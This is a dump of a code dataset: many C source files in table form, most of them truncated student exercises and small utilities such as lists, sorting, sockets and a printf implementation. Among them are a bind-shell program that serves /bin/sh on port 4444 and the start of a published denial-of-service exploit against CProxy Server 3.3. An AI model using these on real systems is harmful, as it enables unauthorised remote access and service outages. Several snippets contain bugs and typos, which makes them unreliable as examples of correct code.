language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include "common.h" void vfprintf(void (*printer)(char), const char *ctl, void **args) { char buf[64] = {'\0'}; char *str = NULL; char *ptr = NULL; int len = 64; unsigned int uinteger = 0; while (*ctl) { if (*ctl != '%') { printer(*ctl); ctl++; } else { switch(*(++ctl)) { case 'd': uinte...
C
#include "linkedlist.h" #include <assert.h> #include <stdbool.h> #include <stddef.h> // A LinkedNode is a node of a LinkedList. struct LinkedNode { LinkedNode* next; // Pointer to the next node. void* data; // Pointer to the data. }; // A LinkedList is a list that uses linked nodes as storage. struct LinkedLis...
C
# include<stdio.h> int main(){ int a=2; double b=3.5; char grade='A'; // One single letter allowed. float c=4.5; return 0; }
C
#include <stdio.h> #include <string.h> #include <chrono> #include "../common.h" #include "./solver.c" #include "kernel_wrapper.h" int kernel_wrapper( int xmax, int workload, FP ***y, FP **x, FP **params, FP *com) { // VARIABLES double timecopyin; double timekernel; double timecopyout;...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strsplit.c :+: :+: :+: ...
C
#include "head/test.h" #include "fun/estructura_png.c" #include "fun/funcionrecorreMatrix.c" #include "fun/crearnombre.c" /* Entradas: Funcionamiento: Salidas: */ int main(int argc, char *argv[]){ int opt; int c=0; char* m=NULL; float n=0; int p=0; int b=-1; char* argumentos...
C
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <sys/statvfs.h> #include <stdint.h> #include <string.h> #include <dirent.h> #include <stdlib.h> //The amount of bytes of all files found uint64_t totalFilesSize=0; //Size for a sector in the fs unsigned int sectorSize=0; voi...
C
/***************************** Include Files *********************************/ #include "xparameters.h" #include "xgpio.h" #include "gpio.h" /************************** Constant Definitions *****************************/ /* * The following constant is used to wait after an LED is turned on to make * sure that...
C
/* * Write a program to determine the ranges of char, short, int, and long * variables, both signed and unsigned, by printing appropriate values from * standard headers and by direct computation. Harder if you compute them: * determine the ranges of the various floating-point types. */ #include <stdio.h> #include ...
C
#include <stdio.h> #include <stdlib.h> //contém a rand e srand #include <time.h> //necessária para usar o time(NULL) #include "tempo.h" #include <omp.h> #define TAM 10 int vetor[TAM]; int vetorAux[20][TAM]; int maxVetor[20]; // void inicializa_vetor(); void mostra_vetor(); void organiza(); // int main(int argc...
C
/* ** client.c -- a stream socket client demo */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <fcntl.h> #include <sys/stat.h> #define MAXDATASIZE...
C
#include<stdio.h> #include<conio.h> void main() { int number,n,multi=1; printf("Enter a number : \n"); scanf("%d",&number); while(number>0) { n=number%10; number=number/10; multi=multi*n; } printf("Multiplication or Product : %d \n",multi); get...
C
#include<stdio.h> int main(void) { int T,a[1000]; printf("请输入一个整数T:"); scanf("%d",&T); printf("请输入%d个整数并以number 的形式输入",T); for(int i=0;i<T-1;i++){ do{ scanf("%d ",&a[i]); }while(a[i]<32); } for(int i=0;i<T;i++) printf("%c",a[i]); return 0; }
C
#include <stdio.h> #include <locale.h> #include <math.h> // - a b C double getY(double a, double b, double x) { if (x == 0) { return 0; } else if (x > 1) { return a * exp(-b * x) * cos(x * M_PI); } else { return pow(x - 5, 2) * pow(pow(x + 1, 2), 1. / 3.); } } int main() { setlocal...
C
#include "SList.h" void SListPrint(SListNode* pList) { SListNode* cur = pList; while (cur != NULL) { printf("%d->", cur->data); cur = cur->next; } printf("NULL\n"); } SListNode* BuySListNode(SLTDataType x) { SListNode* newNode = (SListNode*)malloc(sizeof(SListNode)); newNode->data = x; ne+wNode->next = N...
C
#include "puts.h" #include "putc.h" void puts(const char* s) { while(*s != 0) { putc(*s++); } putc('\n'); }
C
#include <stdio.h> main() { int cnt=0,num; do { printf("\n Enter a number:"); scanf("%d",&num); printf("\n No.is %d",num); cnt++; }while(num!=0); printf("\n The total number entered were %d",--cnt); }
C
/* * functions.h * * Created on: May 7, 2011 * Author: philip */ #ifndef FUNCTIONS_H_ #define FUNCTIONS_H_ /** * \file functions.h * * \brief Has some functions */ /** * \brief Convert a 24-bit color to a 16-bit color (5bits red, 6bits green, 5 bits blue). * * @param rgb24 The 24-bit color. Only t...
C
/* * Description: * History: damonyang@tencent.com, 2013/02/24, create */ # include <stdint.h> # include <unistd.h> # include <fcntl.h> # include <sys/stat.h> # include <sys/mman.h> # include "conf.h" # include "utils.h" static uint64_t *global_sequence; void sequence_fini(void) { munmap((void *)global_...
C
#include <stdio.h> #include <stdlib.h> int main(){ //Declaration int n,i, j, tmp, min; n = 10; int t[10] = {1, 5, 7, 2, 3, 9, 8, 4, 10, 6}; int stop = 0; for(i=0;i<n;i++){ printf("%d ", t[i]); } printf("\n"); for(i=0;i<n-1;i++){ min = i; for(j=i+1;j<n;j++){ if(t[j] < t[min]){ min = j; } ...
C
#include <stdio.h> #include <stdlib.h> #include <producto.h> #include <string.h> int insertProducto(eProducto,eProducto[]); int dameLugarLibre(eProducto[]); int existeProducto(eProducto,eProducto[]); int borrarProducto(eProducto,eProducto[]); int editarProducto(eProducto,eProducto[]); void cargarArray(eP...
C
#pragma once #if defined(WIN32) || defined(_WIN32) || defined(WIN64) || defined(_WIN64) #define USE_WINDOWS_API 1 #include <stdint.h> extern "C" bool __stdcall QueryPerformanceCounter(uint64_t *); extern "C" bool __stdcall QueryPerformanceFrequency(uint64_t *); #elif defined(_APPLE_) || defined(__APPLE__) || \ de...
C
#include <tap.h> #include "pizza/md5.h" #define ALEN(a) (int) ((sizeof(a) / sizeof((a)[0]))) static void test_md5(void) { static struct { const char* str; const char* hash; } data[] = { { "", "d41d8cd98f00b204e9800998ecf8427e", }, { "...
C
#include<stdio.h> int main() { int n, i, y, x, j, maior[3], ins=1, resultado[3]; for(;;) { scanf("%d", &n); if(n==0) break; int jogos[n]; for(i=0; i<n; i++) { scanf("%d %d", &x, &y); jogos[i] = x - y; } maior[0] = maior[1] = maior[2] = 0; resultado[0] = resultado[1] = resultado[2] = 0; ...
C
#include<stdio.h> int main() { int a,b,c,d,i,j,n,num[200]; scanf("%d",&n); for(i=0;i<n;i++) { scanf("%d",&num[i]); } for(i=n-1;i>0;i--) { for(j=i-1;j>=0;j--) { if(num[j]>num[i]) { c=(num[j]-num[i]); num[i]=num[i]...
C
/* * C_SWI_Handler.c: Kernel main (entry) function * Author: Sudhir Kumar Vijay <svijay@andrew.cmu.edu> * Sumanth Suresh <sumanths@andrew.cmu.edu> * Date: 11/2/2014 ...
C
/* ============================================================================ Name : FilmNachTitelSuchen.c Author : Christian R?sch Created on : Jun 4, 2011 Description : Funktion dient zum Suchen eines Films anhand des Filmtitels ====================================================================...
C
#include <stdlib.h> #include <assert.h> #include <stdint.h> #include <limits.h> #include "algs.h" // performs all possible PII's for this match, and returns an array of size output_size*n with the resulting permutations int* pii(problem* p, int* match, int* reverse_match, int* output_size){ int n = p->n; ...
C
#include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <mysql.h> #include <ctype.h> #include <pthread.h> #include <string.h> #define port 50015 #define MAX 100 #define MAX_jugadores 4 //preferencias -std=c99 `mysql_c...
C
#include "game_init.h" #include <stdio.h> #include <stdlib.h> #include <time.h> void printLine(); /* * Returns the first letter associated with the color of the token * * Input: t - pointer to a token * Output: initial of the color of the token */ char print_token(token *t){ if((*t).col== PINK) return 'P'; ...
C
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include "Interpreter/Interpreter.h" #include "Parser/Parser.h" #include "Tokenizer/Value.h" #include "Util/StringBuffer.h" void load_libraries (Environment* environment, int argc, char** argv); int main (int argc, char** argv) { char c = 7; StringB...
C
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> /* ./lab4 file path make a new file in the given path that contains only even nr */ int main(int argc, char *argv[]){ if(argc < 3){ const char...
C
#include "holberton.h" /** * print_line - prints the numbers, from 0 to 9 * @n: is value of a number * Return: void */ void print_line(int n) { if (n <= 0) { _putchar('\n'); } else { int i; for (i = 1; i <= n; i++) { _putchar('_'); } _putchar('\n'); } }
C
#include<stdio.h> #include<stdlib.h> #include<string.h> struct node { int data; struct node *nxt; }; struct node *head; void display() { struct node * current; current = head; while(current->nxt != NULL) { printf("%d-->",current->data); current = current->nxt; } printf("%d\n",current->data); } struct n...
C
#include <stdio.h> #include <math.h> #include <stdlib.h> double arr_test(double arr1[],double arr2[],int N){ for(int i=0;i<N;i++){ arr2[i] = arr1[i]*2+0.01; } } double make_arr(double arr1[],double arr2[]){ double a[16][16]; for(int i=0;i<10;i++){ for(int j=0;j<10;j++){ a[i][j] = 20....
C
/// \file lbm_common.h /// \brief Common structures and functions shared between the D2Q9 and D3Q19 implementations. // // Copyright (c) 2014, Christian B. Mendl // All rights reserved. // http://christian.mendl.net // // This program is free software; you can redistribute it and/or // modify it under the terms of the ...
C
#include "../headers/logger.h" #include <errno.h> #include <string.h> #include <stdio.h> #include <stdarg.h> #include <sys/time.h> int LOG_LEVEL = LOG_INFO; //int LOG_LEVEL = LOG_TRACE; void setLogLevel(int level){ LOG_LEVEL = level; } char *getCurrentDate(){ time_t t; time(&t); ...
C
/* slice.c */ /* Get a slice from an array */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <ctype.h> char *slice(char *arrname, int start, int end) { /* An array to hold the slice */ char retarray[end-start]; int i; for(i=start;i<end;i+...
C
/* Output to stdout a paragraph from word up to (but not including) FINISH, which must be in the next_break chain from word. */ static void put_paragraph (WORD *finish) { WORD *w; put_line (word, first_indent); for (w = word->next_break; w != finish; w = w->next_break) put_line (w, other_indent); }
C
#include "test_utilities.h" #include <stdlib.h> #include "cache.h" #include <string.h> #define ASSERT_TRUE(x) ASSERT_TEST(x); #define ASSERT_EQUAL(x,y) ASSERT_TEST((x) == (y)); #define ASSERT_EQUAL_STR(x,y) ASSERT_TEST(strcmp((x),(y)) == 0); #define ASSERT_SUCCESS(x) ASSERT_EQUAL((x), CACHE_SUCCESS) #define A...
C
/**************************************************************************** * Puff.c * * Computer Science 50 * Problem Set 6 * * ***************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include "forest.h" #include "huffile.h" #i...
C
#include <stdio.h> #include <stdlib.h> typedef struct aluno { float n1,n2,media; long int matricula; int idade; int turno; int altura; int curso; }aluno; int main() { aluno aluno1; printf("\n Digite a n1 do aluno: "); scanf("%f",&aluno1.n1); printf("\n Digite a n2 do aluno: "...
C
// Online C++ compiler to run C++ program online #include <iostream> #include <math.h> int compare(const void *a, const void *b) { if (abs(*(int *)a) > abs(*(int *)b)) return 1; return 0; } void bubble_sort(int *a, int n, int (*compare)(const void *a, const void *b)) { int i, j, temp; for (...
C
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <time.h> #include <fcntl.h> #include <unistd.h> // usage: jsonbench <repeat> <buffer-size> <json-file> int jsonbench(const char buffer[], size_t filesize, size_t stride); int main(int argc, const char *argv[]) { if (argc != 4) { fprint...
C
#include <stdio.h> #include <ctype.h> #include "libgetch.h" int getpoint(char *s) { int c; while ((c = getch()) == ' ' || c == '\t') ; if (c == EOF || !isdigit(c)) return c; for (*s++ = c; isdigit(c = getch()); *s++ = c) ; *s = '\0'; return NUMBER; }
C
#include <stdio.h> #include <stdlib.h> void printWhite(int iCount2); void printBlack(int iCount); int main() { int i; int n = 0; printf("P2\n800 800\n255\n"); while(n < 8) { if((n % 2) == 0) { for(i = 0; i < 100; i++) { printBlack(0); printf("\n"); } n++; } else ...
C
#include <stdio.h> int main(){ // 如果定义了指针数组,此时是不能修改的,会报错bus error char *p="bcde"; // 字符指针定义后存在于常量区,只能读,不能写入 *(p+1)='m'; // 定义的是正常字符串数组,可以修改 char a[]="bcde"; // 字符数组存在于全局区或者栈区,既可以读也可以写 a[1]='a'; printf("%s",a); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { if ( strcmp(argv[1],"help") == 0) { printf("\nUsage: %s vtk_file model_base_name\n", argv[0] ); printf("Converts vtk file to carp format (outputs .pts, .elem, .lon, and .tris)\n"); printf(" * If Part_I...
C
#include <stdio.h> #include <stdlib.h> //basic parameters #define PROCESS_NAME_LEN 32 #define MIN_SLICE 10 #define DEFAULT_MEM_SIZE 1024 #define DEFAULT_MEM_START 0 //memory alloc algorithm #define MA_FF 1 #define MA_BF 2 #define MA_WF 3 //default parameters int mem_size=DEFAULT_MEM_SIZE; int ma_algorithm=MA_FF; sta...
C
/* Node is defined as below and Post-order traversal function is as shown struct node { int data; struct node* left,*right; }; */ void postorder(struct node* root) { if(root==NULL) return; inorder(root->left); inorder(root->right); printf("%d ",root->data); }
C
#include "dir.h" #include "../write_file.h" #include "../send_file.h" void *recieve_func(void *arg) { int new_socket = *((int*)arg); free(arg); int rc; char filename[1024]; bzero(filename,1024); rc = recv(new_socket,filename,sizeof(filename),0);//Recebe nome do arquivo write_file(new_socke...
C
#include <stdio.h> #include <string.h> /* strlen a: 5, b: 5 sizeof a: 6, b: 8 Address a: 0x7fff5264cb36, 0x7fff5264cb37 Address b: 0x10d5b3f0a, 0x10d5b3f0b a: Heflo c: 1 *c+1: 2 *(c+1): 2 sizeof: 4 d: 1 *d+1: 2 *(d+1): 2 sizeof: 8 */ int main(void) { char a[] = "Hello"; char *b = "World"; char c[] = "1...
C
#include "stdio.h" int foo() { printf("foo!\n"); return 0; } int footwo(int x) { printf("%d\n", x); return 0; } int foothree(int x, int y) { printf("%d\n", x + 2 * y); return 0; }
C
#include "xstriggerindicationdata.h" #include <string.h> /*! \addtogroup cinterface C Interface @{ */ /*! \brief Destroy the %XsTriggerIndicationData object */ void XsTriggerIndicationData_destruct(XsTriggerIndicationData* thisPtr) { memset(thisPtr, 0, sizeof(XsTriggerIndicationData)); } /*! \brief Returns true if...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_backtracking.c :+: :+: :+: ...
C
#include <stdio.h> #include <stdlib.h> #include <math.h> #define MAX(x, y) (((x) > (y)) ? (x) : (y)) #define MIN(x, y) (((x) < (y)) ? (x) : (y)) struct tree{ int data; struct tree *left,*right; }; struct tree * allocate(int data) { struct tree *temp = (struct tree *)malloc(sizeof(struct tree)); temp->data=data; tem...
C
#include <stdio.h> void swap(int *, int *); int main(void) { //宣告建立變數 int a = 22; int b = 11; //進行交換 printf("兩數交換以前.. a = %d, b = %d\n", a, b); swap(&a, &b); printf("兩數交換以後.. a = %d, b = %d\n", a, b); return 0; } void swap(int *aPtr, int *bPtr) { int temp; temp = *aPtr; ...
C
#include<stdio.h> #include<math.h> int main(){ int a,b,c ; float dis ; printf("enter a,b,c :") ; scanf("%d%d%d",&a,&b,&c) ; dis = sqrt((b*b) - 4*a*c ) ; printf("%f", dis) ; return 0 ; }
C
#ifndef LINKEDLIST_H typedef struct Node{ int value; struct Node* next; }Node; Node* newLinkedList(); int size(Node*); Node* push(Node**, int); #endif
C
/* * Print nxn idendity matrix (input n from keyboard) */ #include <stdio.h> int main() { // row=i, column=j int i,j; // size of idendity matrix from keyboard int n; // int counter=0; // get input from keyboard printf("Enter the size of I-matrix: "); scanf("%d", &n); // print t...
C
#include <string.h> typedef struct tagSBUF { char *buf; size_t buf_size; size_t pos; } SBUF; static void SBUF_init( SBUF *sbuf, char *buf, size_t size) { sbuf->buf = buf; sbuf->buf_size = size; sbuf->pos = 0; sbuf->buf[ 0 ] = '\0'; } #if 0 static void SBUF_reset( SBUF *buf ) { sbuf->pos = 0; sbuf-...
C
/* * ===================================================================================== * * Filename: sysconf.c * * Description: sysconf 函数 include in <unistd.h> * * Created: 03/06/2013 11:13:49 AM * ===================================================================================== */ ...
C
#include<stdio.h> #include<sys/types.h> #include<netinet/in.h> #include<unistd.h> #include<arpa/inet.h> int main() { int sd,sd2,nsd,clilen,sport,len,port; char sendmsg[100],rcvmsg[100]; struct sockaddr_in servaddr, cliaddr; printf("enter server port\n"); scanf("%d",&sport); printf("Selected port : %d\n",sport); ...
C
#include "shell.h" /** * is_builtin - checks if a command is a builtin command * @cmd: the given command * * Return: the position of @cmd in the builtins array, else -1 */ builtin_t is_builtin(char *cmd) { builtin_t builtins[] = { {"exit", exit_cmd}, {"env", env_cmd}, {NULL, NULL} }; int i; for (i = 0...
C
#include <stdio.h> void ScanInput (int *, int *); void PrintResult (int); int main (void) { int inputNum; int sum = 0; ScanInput(&inputNum, &sum); PrintResult(sum); return 0; } void ScanInput(int * num, int *sum) { while (*num != 0) { fputs("정수 입력 : ", stdout); scanf("%d", n...
C
#include <stdbool.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Returns 'true' if the character is a DELIMITER. bool isDelimiter(char ch) { if (ch == ' ' || ch == '+' || ch == '-' || ch == '*' || ch == '/' || ch == ',' || ch == ';' || ch == '>' || ch == '<' || ch == '=' || ch == '(' || ...
C
#include<stdio.h> int main() { int i,num,sum=1; printf("enter the number",num); scanf("%d",&num); for(i=1;i<=num;i++) { sum=sum*i; } rteurn 0; }
C
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/i2c.h> #include <linux/i2c-dev.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include "./headers/display.h" #define I2CDRV_LINUX_BUS0 "/dev/i2c-0" #define I2CDRV_...
C
#ifdef HAVE_CONFIG_H #include <config.h> #endif #include "version.h" void print_version(char *program, char *argument) /*includefile*/ { if ( (strings_equal(argument,"version")) || (strings_equal(argument,"-version"))) { printf("PROGRAM: %s is part of SIGPROC version: %.1f\n",program,SIGPROC_VERSION); ...
C
#include "holberton.h" /** * factorial - prints the factorial of n * * @n: number to do the factorial * * Return: -1 if n lower than 0 and factorial if bigger than it * */ int factorial(int n) { if (n == 1 || n == 0) { return (1); } else if (n < 0) { return (-1); } return (n * factorial(n - 1)); }
C
/* Finite Element Method Module * * Author: ignacio.romero@imdea.org * * Copyright 2014 IMDEA Materials Institute, Getafe, Madrid, Spain, * and Technical University of Madrid (UPM), Madrid, Spain * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in...
C
#include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> const int goo = 100; const int choki = 101; const int paa = 102; int main(int argc, char**argv) { int sockfd,n; struct sockaddr_in servaddr,cliaddr; socklen_t len; char mesg[1000]; int serverjanken[3] = {100,101,102}; sockfd=socket(AF_INET,SOC...
C
#include <netinet/in.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #define PORT 4444 #define EXE "/bin/sh" int main() { int sockfd; int connection; struct sockaddr_in addr; socklen_t addrlen = sizeof(struct sockaddr_in); char * argv2[] = {EXE, (char * const)NULL}; char *...
C
#include "dberror.h" #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include "storage_mgr.h" #include <math.h> //initial storage manager void initStorageManager (void) { } //Create Page RC createPageFile (char *fileName) { FILE *myfile = ...
C
#include <stdio.h> #include <string.h> #include <stdlib.h> #include "lista.h" #include "fila.h" /****************************************************/ /* Funcoes a implementar */ /****************************************************/ /*** problema 1.1 ***/ lista* junta_nomes(list...
C
// // mcLab.c // Aryan Amberkar Best Portfolio // // Created by Amberkar, Aryan on 10/4/19. // Copyright © 2019 Amberkar, Aryan. All rights reserved. // int multiplechoiceLab(void){ char inputAnswer; //simple script to get user input to choose which lab they'd like int validInput, questionAnswere...
C
#pragma once #include <elf.h> #include <stddef.h> #include <stdlib.h> typedef void (*note_handler)(off_t offset, int type, size_t namesz, size_t descsz, const char *name, const char *desc, void *aux); struct core_loc { off_t offset; size_t size; }; struct mapped_file { struct core_loc path; ...
C
/** * Author : Nikhil Parekh * Created : 2020-12-04 15:46:58 * Link : GitHub.com/parekhnikhil47 * Question : **/ #include <stdio.h> int main() { int a, b; float c, d; scanf("%i %i", &a, &b); scanf("%f %f", &c, &d); printf("%i %i\n", (a + b), (a - b)); printf("%.1f %.1f\n", (c + d), (c - d)); return ...
C
#include<stdio.h> int main() { int n,i,sum=0; scanf("%d",&n); for(i=1;sum<=n;i++) { sum=sum+((i*(i+1))/2); } printf("%d",(i-2)); }
C
// // Text.c // ShootThemUp // // Created by El-idrissi Elyas on 28/11/2019. // Copyright © 2019 El-idrissi Elyas. All rights reserved. // #include "Text.h" void Text_Draw(char * str, int x, int y, TextAlign textAlign, int size, char * fontStr, SDL_Color color, Window * window, TextureManager * tm) { TTF_Font...
C
#include <stdio.h> int main() { int i=10, j=20; float f=1.2f, g=2.4f; printf("i+j=%d\n",i+j); printf("f+g=%.1f\n",f+g); printf("i-j=%d\n",i-j); printf("g-f=%.1f\n",g-f); printf("j-f=%d\n",j-f); printf("j-f=%.1f\n",j-f); return 0; }
C
/*------------------------------------------------------------------------- * * pgsleep.c * Portable delay handling. * * * Portions Copyright (c) 1996-2019, PostgreSQL Global Development Group * * src/port/pgsleep.c * *------------------------------------------------------------------------- */ #include "...
C
#include<stdio.h> #include<stdlib.h> #include "pilha.h" pilha * criaPilha(int tam){ pilha * p = malloc(sizeof(pilha)); p->topo = 0; p->tam = tam; p->valor = malloc(tam * sizeof(int)); if(p->valor == NULL){ return(NULL); } return(p); } void destroiPilha(pilha * p){ free(p->valor); free(p); } void empilha...
C
#include <stdio.h> #include <stdlib.h> int main(void){ float temp, fare; printf("Digite a temperatura em Celsius: "); scanf("%f", &temp); fare = temp * (9.00/5.00) + 32.0; printf("%.0f em Graus Fahrenheit sao %.1f", temp, fare); return 0; }
C
/** * mpweb.c -- программа для перемещения курсора * в конец предыдущего слова * * Copyright (c) 2017, Artem Zaicev <zaicev@cs.karelia.ru> * * This code licensed under a MIT-style license */ #include <stdio.h> #include <string.h> #include <stdbool.h> #include "text/text.h" #include "common.h" //проверяет, яв...
C
// card.c /* 0 1 2 3 DIA(R) HRT(R) SPD(B) CLB(B) 0~12 13~25 26~38 39~51 */ #include "solitaire.h" const int kMaxCardNumber = 13; const int kNumberOfColor = 2; const int kNumberOfShape = 4; int GetCardNumber(int card); Shape GetCardShape(int card); Color GetCardColor(int card); int GetCard(int number, Shape shape);...
C
#include<stdio.h> #include<stdlib.h> void create(int **,int); void input(int *,int); void output(int *,int); void heapsort(int *, int); void build_max_heap(int *, int); void max_heapify(int *, int, int); int main() { system("clear"); int *a; int n,item,pos; printf("\nEnter size of the list: "); scanf("%d",&n); ...
C
#include <stdio.h> #include <stdbool.h> void next_line(char to[]); int count_length(char charArray[]); int main(){ char charArray[100]; for(int i = 0; i < 2; i++){ next_line(charArray); int index = 0; int length = count_length(charArray); for(int j = 0; j < 5; j ++){ ...
C
#include <stdlib.h> #include <math.h> #include <assert.h> #include <pthread.h> #include "vptree.h" #define MAX_DIST_THRDS 10 #define DIST_THRD_THRES 10000*10 #define VPT_THRD_THRESS 1000*10 #define IDX(d, i, k) i*d + k typedef struct { // The return field double *dist; // The input f...
C
#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { printf("\nPid do arquivo: %d\n", getpid()); }
C
source: http://www.securityfocus.com/bid/1213/info A buffer overflow DoS vulnerability exists in CProxy Server 3.3 Service Pack 2 /* * Remote Denial of Service for CProxy v3.3 - Service Pack 2 * * (C) |[TDP]| - HaCk-13 TeaM - 2000 <tdp@psynet.net> * * * This program xploits an overflow vulne...
C
#include <stdio.h> #include <stdlib.h> #include <assert.h> #include "deck.h" #include <string.h> // #include "config.h" void print_hand(deck_t * hand){ #if debug printf(">>>>into print_hand().\n"); #endif // card_t ** cards = hand->cards; for (int i=0; i<hand->n_cards; i++){ print_card(*(hand->cards[i])...
C
#include "libPermutation.h" void ShowVector (int s, int *e) /* s size, e entrada */ { int i; for (i = 0; i < s; i++) printf ("%3d", e[i]); printf ("\n"); } void MoveVectorLeft (int s, int p, int *e) /* s size p posicio e entrada */ { int i, t = e[p]; for (i = p; i < s -1; i++) e[i] = e[i+1]; e[s-1] = t; ...
C
/* Disciplina: Computacao Concorrente */ /* Autor: Pedro Henrique da Silva Bernardino */ /* Descricao: implementa o problema dos leitores/escritores priorizando escritores através de semáforos */ #include<pthread.h> #include <semaphore.h> #include<stdio.h> #include<stdlib.h> #include<unistd.h> #define L 4...
C
#include <stdio.h> #include <math.h> main () { float raio, altura, area; printf("\n\t***********************************\n"); printf("\t*VOLUME DA CAIXA D'AGUA CILINDRICA*"); printf("\n\t***********************************\n"); printf("\nInsira o raio: "); scanf("%f", &raio); printf("\nI...
C
/* * sample_buffer.h * Benedikt Huber <benedikt@vmars.tuwien.ac.at>, 2010-2013 * WCET Analysis Lab, Real-Time System's Group, Institute of Computer Engineering, Vienna University of Technology * * Ring-Buffer datastructure for 16-bit samples */ #include "sample_buffer.h" // ============================ // = Sampl...
C
#include "hmm.h" int main(int argc, char*argv[]) { if (argc != 3 && argc != 4 && argc != 5){ printf("Wrong command format\n"); printf("Format: ./evaluate [result1.txt] [testing_answer.txt] [(acc.txt)] [all]\n"); exit(1); } const char *result_file = argv[1]; const char *answer_file = argv[2]; ...
C
#include <locale.h> #include <stdio.h> #include <math.h> #define MONTHS 12 int main(int argc, char const *argv[]) { setlocale(LC_NUMERIC, ""); int TC, i, counter = 0; double ammount, ans; double integer = 0.0, fractional = 0.0, aux = 0.0; scanf("%d", &TC); while(TC--) { ammount = 0.0; ans = 0.0; i = 0; whi...
C
/****************************************************************************** Welcome to GDB Online. GDB online is an online compiler and debugger tool for C, C++, Python, PHP, Ruby, C#, VB, Perl, Swift, Prolog, Javascript, Pascal, HTML, CSS, JS Code, Compile, Run and Debug online from anywhere in world. *********...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* read_bytes.c :+: :+: :+: ...